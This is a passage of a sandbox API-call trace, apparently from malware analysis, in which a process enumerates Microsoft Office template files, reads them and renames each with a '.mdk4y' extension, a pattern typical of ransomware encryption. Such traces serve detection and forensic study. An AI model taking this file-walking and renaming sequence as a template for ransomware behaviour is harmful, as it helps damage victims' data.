dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832390200000) returned 1 [0248.672] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1000, lpOverlapped=0x0) returned 1 [0248.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832390300000) returned 1 [0248.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832390300000) returned 1 [0248.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.dpv.mdk4y")) returned 1 [0248.677] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.677] AreFileApisANSI () returned 1 [0248.677] GetACP () returned 0x4e4 [0248.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADINGBB.POC", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HEADINGBB.POC", lpUsedDefaultChar=0x37df4c) returned 13 [0248.677] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832390800000) returned 1 [0248.678] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27e6, lpOverlapped=0x0) returned 1 [0248.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832390900000) returned 1 [0248.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832390900000) returned 1 [0248.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.poc.mdk4y")) returned 1 [0248.681] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.682] AreFileApisANSI () returned 1 [0248.682] GetACP () returned 0x4e4 [0248.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INVITE.DPV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INVITE.DPVPOC", lpUsedDefaultChar=0x37df4c) returned 10 [0248.682] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832391300000) returned 1 [0248.683] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0248.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832405600000) returned 1 [0248.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832405700000) returned 1 [0248.835] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv.mdk4y")) returned 1 [0248.836] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.836] AreFileApisANSI () returned 1 [0248.836] GetACP () returned 0x4e4 [0248.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INVITE.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INVITE.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0248.837] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832415300000) returned 1 [0248.923] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x49c6, lpOverlapped=0x0) returned 1 [0248.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832415400000) returned 1 [0248.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832415400000) returned 1 [0248.925] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml.mdk4y")) returned 1 [0248.926] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.926] AreFileApisANSI () returned 1 [0248.926] GetACP () returned 0x4e4 [0248.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INVITE11.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INVITE11.POCC", lpUsedDefaultChar=0x37df4c) returned 12 [0248.927] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832415800000) returned 1 [0248.928] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbc448, lpOverlapped=0x0) returned 1 [0249.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832427000000) returned 1 [0249.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832427000000) returned 1 [0249.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite11.poc.mdk4y")) returned 1 [0249.052] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.052] AreFileApisANSI () returned 1 [0249.052] GetACP () returned 0x4e4 [0249.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LABEL.DPV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LABEL.DPVPOC", lpUsedDefaultChar=0x37df4c) returned 9 [0249.052] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832428400000) returned 1 [0249.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a1ac, lpOverlapped=0x0) returned 1 [0249.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832429900000) returned 1 [0249.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832429900000) returned 1 [0249.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.dpv.mdk4y")) returned 1 [0249.073] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.073] AreFileApisANSI () returned 1 [0249.073] GetACP () returned 0x4e4 [0249.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LABEL.XML", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LABEL.XML", lpUsedDefaultChar=0x37df4c) returned 9 [0249.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832430500000) returned 1 [0249.075] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x48c6, lpOverlapped=0x0) returned 1 [0249.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832435800000) returned 1 [0249.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832435800000) returned 1 [0249.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml.mdk4y")) returned 1 [0249.131] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.131] AreFileApisANSI () returned 1 [0249.131] GetACP () returned 0x4e4 [0249.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LABEL98.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LABEL98.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0249.131] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832436300000) returned 1 [0249.133] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27842, lpOverlapped=0x0) returned 1 [0249.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832438800000) returned 1 [0249.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832438800000) returned 1 [0249.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label98.poc.mdk4y")) returned 1 [0249.162] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.162] AreFileApisANSI () returned 1 [0249.162] GetACP () returned 0x4e4 [0249.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LABELHM.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LABELHM.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0249.162] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABELHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\labelhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832439400000) returned 1 [0249.164] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3464, lpOverlapped=0x0) returned 1 [0249.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832439500000) returned 1 [0249.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832439500000) returned 1 [0249.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABELHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\labelhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABELHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\labelhm.poc.mdk4y")) returned 1 [0249.168] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.168] AreFileApisANSI () returned 1 [0249.168] GetACP () returned 0x4e4 [0249.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LETTHEAD.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LETTHEAD.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0249.168] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832440000000) returned 1 [0249.170] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f89d, lpOverlapped=0x0) returned 1 [0249.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832449000000) returned 1 [0249.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832449000000) returned 1 [0249.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.dpv.mdk4y")) returned 1 [0249.265] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.265] AreFileApisANSI () returned 1 [0249.265] GetACP () returned 0x4e4 [0249.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LETTHEAD.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LETTHEAD.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0249.265] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832450000000) returned 1 [0249.270] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x309e, lpOverlapped=0x0) returned 1 [0249.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832470900000) returned 1 [0249.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832470900000) returned 1 [0249.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml.mdk4y")) returned 1 [0249.481] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.481] AreFileApisANSI () returned 1 [0249.481] GetACP () returned 0x4e4 [0249.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LINEACT.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LINEACT.POCL", lpUsedDefaultChar=0x37df4c) returned 11 [0249.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LINEACT.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lineact.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832471300000) returned 1 [0249.483] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb04, lpOverlapped=0x0) returned 1 [0249.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832477100000) returned 1 [0249.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832477100000) returned 1 [0249.542] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LINEACT.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lineact.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LINEACT.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lineact.poc.mdk4y")) returned 1 [0249.544] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.544] AreFileApisANSI () returned 1 [0249.544] GetACP () returned 0x4e4 [0249.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LOGO98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LOGO98.POCC", lpUsedDefaultChar=0x37df4c) returned 10 [0249.544] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LOGO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\logo98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832477500000) returned 1 [0249.546] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb026, lpOverlapped=0x0) returned 1 [0249.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832484800000) returned 1 [0249.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832484800000) returned 1 [0249.619] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LOGO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\logo98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LOGO98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\logo98.poc.mdk4y")) returned 1 [0249.621] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.621] AreFileApisANSI () returned 1 [0249.621] GetACP () returned 0x4e4 [0249.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LTHD11.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LTHD11.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0249.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832485500000) returned 1 [0249.625] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa82a, lpOverlapped=0x0) returned 1 [0249.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832487900000) returned 1 [0249.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832488000000) returned 1 [0249.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd11.poc.mdk4y")) returned 1 [0249.654] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.654] AreFileApisANSI () returned 1 [0249.654] GetACP () returned 0x4e4 [0249.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LTHD98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LTHD98.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0249.654] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832488600000) returned 1 [0249.656] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2383c, lpOverlapped=0x0) returned 1 [0249.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832497100000) returned 1 [0249.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832497100000) returned 1 [0249.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 